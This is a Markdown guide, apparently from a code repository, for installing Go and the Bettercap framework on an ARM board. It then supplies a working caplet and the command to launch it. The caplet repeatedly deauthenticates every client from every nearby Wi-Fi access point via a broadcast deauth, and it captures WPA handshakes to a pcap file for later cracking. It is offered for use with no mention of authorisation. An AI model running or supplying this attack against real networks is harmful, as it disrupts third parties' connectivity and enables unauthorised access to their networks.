83 lines
2.7 KiB
Markdown
83 lines
2.7 KiB
Markdown
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# Bettercap
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## Installing GO
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As bettercap uses GO we will install this first. Update the number if Go got a newer version available.
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```
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wget https://go.dev/dl/go1.17.5.linux-armv6l.tar.gz
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# extract to /usr/local/go
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sudo rm -rf /usr/local/go
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sudo tar -C /usr/local -xzf go1.17.5.linux-armv6l.tar.gz
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```
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We now need to add the PATH environment variable that are required for the system to recongize where the Golang is installed. To do that, edit the `~/.profile` file. Scroll all the way down to the end of the file and add the following:
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```bash
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PATH=$PATH:/usr/local/go/bin
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GOPATH=$HOME/golang
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```
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Feel free to change the `GOPATH=$HOME/golang` to something else. Finally we need to make the system aware of the new profile, run `source ~/.profile`
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Type `which go` to find out where the Golang installed and `go version` to see the installed version and platform.
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## Installing Bettercap
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Now, with GO installed, we are able to install Bettercap
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```bash
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sudo apt install libpcap-dev libnetfilter-queue-dev libusb-1.0-0-dev build-essential
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go install github.com/bettercap/bettercap@latest
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# copy bettercap to use it directly
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sudo cp go/bin/bettercap /usr/bin/
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# install the caplets and the web ui in /usr/local/share/bettercap and quit
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sudo bettercap -eval "caplets.update; ui.update; quit"
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```
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### Workflow
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### Adding Caplets to bettercap
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We will save all Caplets in a shared folder: `cd /usr/share/bettercap/captlets`
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A simple caplet can look like this:
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```bash
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# More info about this caplet: https://twitter.com/evilsocket/status/1021367629901115392
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set $ {bold}😈 » {reset}
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# make sure wlan0 is in monitor mode
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# ref: https://github.com/offensive-security/kali-arm-build-scripts/blob/master/rpi3-nexmon.sh
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!monstop
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!monstart
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# every 5 seconds:
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# - clear the screen
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# - show the list of nearby access points
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# - deauth every client from each one of them
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set ticker.period 5
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set ticker.commands clear; wifi.show; wifi.deauth ff:ff:ff:ff:ff:ff
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# sniff EAPOL frames ( WPA handshakes ) and save them to a pcap file.
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set net.sniff.verbose true
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set net.sniff.filter ether proto 0x888e
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set net.sniff.output wpa.pcap
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# uncomment to only hop on these channels:
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# wifi.recon.channel 1,2,3
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wifi.recon on
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ticker on
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net.sniff on
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# we'll see lots of probes after each deauth, just skip the noise ...
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events.ignore wifi.client.probe
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# start fresh
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events.clear
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clear
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```
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To start bettercap with this caplet run:
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```bash
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ifconfig wlan0 up
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bettercap -iface wlan0 -caplet /usr/share/bettercap/caplets/<caplet-name>.cap
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```
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# Sources and more
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[Evilsocket](https://www.evilsocket.net/2018/07/28/Project-PITA-Writeup-build-a-mini-mass-deauther-using-bettercap-and-a-Raspberry-Pi-Zero-W/)
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[Bettercap](https://www.bettercap.org/)
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[CyberPunk.rs](https://www.cyberpunk.rs/install-mitm-attack-framework-bettercap)
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